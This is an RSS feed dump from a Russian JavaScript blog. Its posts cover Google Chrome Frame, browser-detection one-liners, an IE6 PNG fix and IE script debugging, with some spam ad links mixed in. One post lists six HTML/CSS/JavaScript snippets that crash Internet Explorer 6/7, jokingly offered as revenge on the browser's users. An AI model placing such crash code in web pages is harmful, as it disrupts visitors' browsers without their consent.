JSToolbox - все о JavaScript » Internet Explorer http://www.jstoolbox.com Блог о программировании вообще и о JavaScript в частности, уроки, статьи, заметки, база знаний. Mon, 07 Mar 2011 18:19:17 +0000 http://wordpress.org/?v=2.8.4 en hourly 1 Google Chrome Frame http://www.jstoolbox.com/2009/09/22/google-chrome-frame/ http://www.jstoolbox.com/2009/09/22/google-chrome-frame/#comments Tue, 22 Sep 2009 21:29:06 +0000 admin http://www.jstoolbox.com/?p=484 Сегодня компания Google выпустила плагин с открытыми исходниками для Internet Explorer - Google Chrome Frame. Он позволяет использовать в IE 6+ возможности HTML 5, даже те, которые он еще не поддерживает (например <canvas>). Кроме того, согласно утверждениям разработчиков, производительность JavaScript с использованием плагина гораздо выше, так как интерпретатор реализован на движке WebKit.

Мне кажется это очень хорошая новость, хотя не думаю, что все пользователи Internet Explorer тут же ринутся его устанавливать. Если они не считают нужным переходить с IE на что-нибудь другое, то врядли станут тратить время на новую заморочку. Хотя надеюсь, что я ошибаюсь :)

]]> Сегодня компания Google выпустила плагин с открытыми исходниками для Internet Explorer – Google Chrome Frame. Он позволяет использовать в IE 6+ возможности HTML 5, даже те, которые он еще не поддерживает (например <canvas>). Кроме того, согласно утверждениям разработчиков, производительность JavaScript с использованием плагина гораздо выше, так как интерпретатор реализован на движке WebKit.

Мне кажется это очень хорошая новость, хотя не думаю, что все пользователи Internet Explorer тут же ринутся его устанавливать. Если они не считают нужным переходить с IE на что-нибудь другое, то врядли станут тратить время на новую заморочку. Хотя надеюсь, что я ошибаюсь :) .

В любом случае, чтобы использовать возможности Google Chrome Frame, нужно совсем немного – добавить следующий тег:

<meta equiv="X-UA-Compatible" content="chrome=1">

Когда Google Chrome Frame определит тэг на странице, он автоматически переключит движок браузера на свой, основанный на WebKit.

Этого достаточно для самого простого использования. Если идти дальше, то можно еще и предлагать пользователю установить плагин, если он еще не установлен. На стороне сервера наличие плагина можно определить по заголовку User-Agent, который должен содержать строку chromeframe. Если такой строки нет, то выводим на страницу текст, предлагающий установить его. В качестве альтернативы серверному методу, можно использовать определение наличия плагина и на стороне клиента. В этом случае вставьте на страницу следующий скрипт:

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/chrome-frame/1/CFInstall.min.js"></script>
<div id="placeholder"></div>

 CFInstall.check({
    node: "placeholder",
    destination: "http://www.example.com"
  });
</script>

В Internet Explorer этот скрипт выполнит проверку и вставит iframe вверху страницы с предложением установить плагин. Если вы указали параметр node (как в нашем примере), то iframe будет добавлен в указанный элемент. После того, как пользователь установит плагин, он будет перенаправлен на destination URL. Больше по этой теме можно почитать здесь: Developer’s Guide.

Посетить домашнюю страницу проекта.

Реклама:
http://irr.ru/real-estate/недвижимость москва
http://www.domania.ru/houses/sale/продажа коттеджей в подмосковье
http://www.ipoteka.irr.ru/
]]> http://www.jstoolbox.com/2009/09/22/google-chrome-frame/feed/ 2 “Кратчайший” способ определить тип браузера http://www.jstoolbox.com/2009/01/29/opredelenye-browsera/ http://www.jstoolbox.com/2009/01/29/opredelenye-browsera/#comments Thu, 29 Jan 2009 21:43:16 +0000 admin http://www.jstoolbox.com/?p=369 До тех пор, пока существуют различия в работе JavaScript на разных браузерах, мы пожалуй будем вынуждены определять, с каким именно клиентом мы имеем дело. А поскольку JavaScript должен быть как можно компактней, то и код, выполняющие такое определение также должен быть максимально сжат. Сегодня я не без удовольствия нашел статью, в которой описано как это нужно делать очень просто и компактно.

]]> До тех пор, пока существуют различия в работе JavaScript на разных браузерах, мы пожалуй будем вынуждены определять, с каким именно клиентом мы имеем дело. А поскольку JavaScript должен быть как можно компактней, то и код, выполняющие такое определение также должен быть максимально сжат. Сегодня я не без удовольствия нашел статью, в которой описано как это можно сделать очень просто и компактно.

Итак, по очереди для каждого браузера:

Firefox 2/3:

// Firefox 2/3
FF=/a/[-1]=='a'

// Firefox 3
FF3=(function x(){})[-5]=='x'

// Firefox 2
FF2=(function x(){})[-6]=='x'

Internet Explorer 6/7/8:

IE='\v'=='v'

Safari:

Saf=/a/.__proto__=='//'

Chrome

Chr=/source/.test((/a/.toString+''))

Opera

Op=/^function \(/.test([].sort)

Ну и конечно же можно сложить все это в одну строку:

B=(function x(){})[-5]=='x'?'FF3':(function x(){})[-6]=='x'?'FF2':/a/[-1]=='a'?'FF':'\v'=='v'?'IE':/a/.__proto__=='//'?'Saf':/s/.test(/a/.toString)?'Chr':/^function \(/.test([].sort)?'Op':'Unknown'
Спонсор статьи:

Интернет Магазин Бытовой Техники – pioneer одесса
Энергосистемы: когенерационные и энергетические установки, газовые мини электростанции, купить электростанцию
Наркологическая клиника "Полинар" – кодирование от алкоголя
]]> http://www.jstoolbox.com/2009/01/29/opredelenye-browsera/feed/ 5 Новый скрипт для исправления прозрачных PNG в IE6 http://www.jstoolbox.com/2008/07/17/novyj-skript-dlya-ispravleniya-prozrachnyx-png-v-ie6/ http://www.jstoolbox.com/2008/07/17/novyj-skript-dlya-ispravleniya-prozrachnyx-png-v-ie6/#comments Thu, 17 Jul 2008 13:34:53 +0000 admin http://www.jstoolbox.com/2008/07/17/novyj-skript-dlya-ispravleniya-prozrachnyx-png-v-ie6/ Для исправления старой проблемы с прозрачными PNG в IE 6, я часто пользовался скриптом IE PNG Fix, который использовал behavior для исправления этого бага. Этот скрипт благополучно исправлял как простые изображения, так и фоновые, однако одна проблема все же существует – это невозможность растягивать изображение при помощи background-repeat.

Вчера я узнал о новом скрипте Unit PNG Fix, который может исправлять прозрачность изображений и при этом растягивать их. Заметьте, не повторять изображение, а именно растягивать, потому что свойство filter не позволяет повторять элементы. Это конечно не идеальный вариант и не для всех фоновых изображений подойдет, но все же таким образом можно симулировать повторение. Этот скрипт использует JavaScript вместо behavior для исправления прозрачности.

Unit PNG Fix

Для того, чтобы работать с этим скриптом, его достаточно просто подключить – не нужно создавать никаких объектов или вызывать функций при загрузке:

<script type="text/javascript" src="unitpngfix.js"></script>

Как и аналогичные скрипты, он требует также пустой gif файл clear.gif (входит в дистрибутив). Размер скрипта всего 1 килобайт.

скачать

]]> http://www.jstoolbox.com/2008/07/17/novyj-skript-dlya-ispravleniya-prozrachnyx-png-v-ie6/feed/ 15 6 способов сломать Internet Explorer http://www.jstoolbox.com/2008/06/23/6-sposobov-slomat-internet-explorer/ http://www.jstoolbox.com/2008/06/23/6-sposobov-slomat-internet-explorer/#comments Mon, 23 Jun 2008 19:59:15 +0000 admin http://www.jstoolbox.com/2008/06/23/6-sposobov-slomat-internet-explorer/ Думаю всякий разработчик сталкивался с многочисленными проблемами и багами при разработке сайтов под IE 6. С прискорбием отмечу тот факт, что в ходе преодоления всех этих проблем было зверски убито огромное количество времени. Если же вам, уважаемые коллеги разработчики, все же захочется отомстить за это тем, кто еще пользуется IE 6, то вам возможно пригодятся приведенные ниже советы. Эти 6 способов являются кодами JavaScript, HTML, CSS, которые, присутствуя в веб странице, вызывают аварийное завершение работы Internet Explorer 6 (последний совет актуален также для седьмой версии):

Аварийное завершение работы Internet Explorer

Итак, первый метод – следующий цикл for:

<script>for (x in document.write) { document.write(x);}</script>

Метод номер два, обнаруженный в прошлом году:

<style>*{position:relative}</style><table><input></table>

Метод номер три – самый короткий из всех:

<STYLE>@;/*

Метод четыре – самый длинный из всех:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
  <head>
    <title>CRASH-IE</title>
    <style type="text/css">
      html, body {
      overflow: hidden;
      scrollbar-base-color: #330066;
      } 

      .crash {
      position:absolute;
      left:200px;
      top:200px;
      width:200px;
      }
    </style>

    <script type="text/javascript">
    function galgenfrist() {
        window.setTimeout('crashIE();',1000);
    }

    function crashIE() {
        var moveNode = document.getElementById("move");
        if(moveNode) {
            moveNode.style.top = "100px";
            moveNode.style.left = "200px";
        }
    }
    </script>
</head> 

<body onload="galgenfrist();">

    <h1>CRASH-IE</h1>
    <div id="move" class="crash">
    <table>
        <tbody>
        <tr>
        <td>
              <textarea></textarea>
        </td>
        </tr>
        </tbody>
    </table>
    </div> 

</body>
</html>

Метод номер пять – такое можно написать и случайно :) :

<body onLoad="window()">

Ну и последний, шестой метод уничтожает (по идее) Internet Explorer 7:

function getX( oElement ) {
    var iReturnValue = 0;
    while( oElement != null ) {
        iReturnValue += oElement.offsetLeft;
        oElement = oElement.offsetParent;
    }
    return iReturnValue;
}

На этом все. Ломайте на здоровье :)

Источник

]]> http://www.jstoolbox.com/2008/06/23/6-sposobov-slomat-internet-explorer/feed/ 16 Отладка скриптов в Internet Explorer http://www.jstoolbox.com/2008/03/21/otladka-skriptov-v-internet-explorer/ http://www.jstoolbox.com/2008/03/21/otladka-skriptov-v-internet-explorer/#comments Fri, 21 Mar 2008 21:26:20 +0000 admin http://www.jstoolbox.com/2008/03/21/otladka-skriptov-v-internet-explorer/ Вы наверно удивитесь, но производить отладку скриптов JavaScript можно при помощи Microsoft Office. Смешно, не правда ли? Тем не менее, в комплект поставки Microsoft Office 2003/XP входит Microsoft Script Editor – прекрасный дебаггер, внешне напоминающий Visual Studio. Он способен производить пошаговый проход, просмотр переменных, редактирование файлов и многое другое, и все это доступно для Internet Explorer 6/7 (и скорее всего для MS Office тоже :) ).

Итак, рассмотрим установку и настройку Microsoft Script Editor. Если у вас не установлен Microsoft Office, установите его. Если установлен, то зайдете в “Панель управления” -> “Установка и удаление программ” -> “Microsoft Office”, и жмите “Изменить”. Затем выберите “Добавить или удалить компоненты”, жмем “Далее”. На появившейся странице выбора компонентов нужно поставить галочку возле “Расширенная настройка приложений”, и опять жмем кнопку “Далее”. Следующей страницей будет панель выбора устанавливаемых компонентов, где нужно включить компонент “Веб-отладка” в разделе “Средства Office” -> “Редактор для языка HTML” -> “Веб-сценарии” (см. рисунок). Точно такая же процедура выбора компонентов будет и при новой установке Office:

Выбор компонента Веб-отладка из Microsoft Office

Далее нажимаем “Обновить” (”Установить” если это новая установка). На этом установка Microsoft Script Editor закончена, переходим к настройке Internet Explorer. Откройте его, и в меню “Сервис” выберите “Свойства обозревателя”. В диалоге настройки откройте вкладку “Дополнительно” и снимите две галочки с пунктов “Отключить отладку сценариев (Internet Explorer)” и “Отключить отладку сценариев (другие)”:

Настройка Internet Explorer

На этом установка завершена. Теперь, каждый раз при обнаружении ошибки на странице, вместо стандартного сообщения об ошибке будет появляться диалог, предлагающий начать отладку.

Диалог, предлагающий начать отладку

Нажимаем “Да”, и в следующем диалоге выбора дебаггера выбираем “New instance of Microsoft Script Editor” и жмем “Yes”. Далее появится отладчик с открытой в нем страницей в том месте, где произошла ошибка.

Окно приложения в месте, где произошла ошибкаДля пошагового прохода, используйте команды Step Into, Step Out, Step Over из меню Debug. Чтобы добавить точки останова, просто щелкните мышкой в поле слева возле нужной строки либо откройте диалог New Breakpoint (Alt+F9), в котором можно указать файл, строку или функция для останова. Для удобного просмотра переменных откройте панель Watch из меню Debug -> Windows (или Ctrl+Alt+W). Также можно просматривать переменные из диалога Debug -> Quick Watch (Ctrl+Alt+W). В любом случае отслеживаемые переменные необходимо вводить вручную.

Microsoft Script Editor можно также открывать вручную из меню “Вид”->”Отладчик сценариев”->”->”Открыть” Internet Explorer-а, либо просто запустив приложение из C:\Program Files\Microsoft Office\OFFICE11\MSE7.EXE. Далее, открываем нужный нам скрипт либо HTML файл, содержащий нужный нам скрипт, устанавливаем точки останова и запускаем отладку в меню Debug -> Start (F5).

Теперь, я думаю от отладки при помощи alert() можно отказаться. На мой взгляд, FireBug гораздо лучше приспособлен для отладки, однако IE порой выбрасывает такие ошибки, что только диву даешься. Так что, данная утилита может принести огромную пользу.

К сожаления Microsoft Script Editor мало документирован, и большинство информации в интернете доступно на английском. Единственное более-менее полное описание на русском языке я нашел здесь.

]]> http://www.jstoolbox.com/2008/03/21/otladka-skriptov-v-internet-explorer/feed/ 5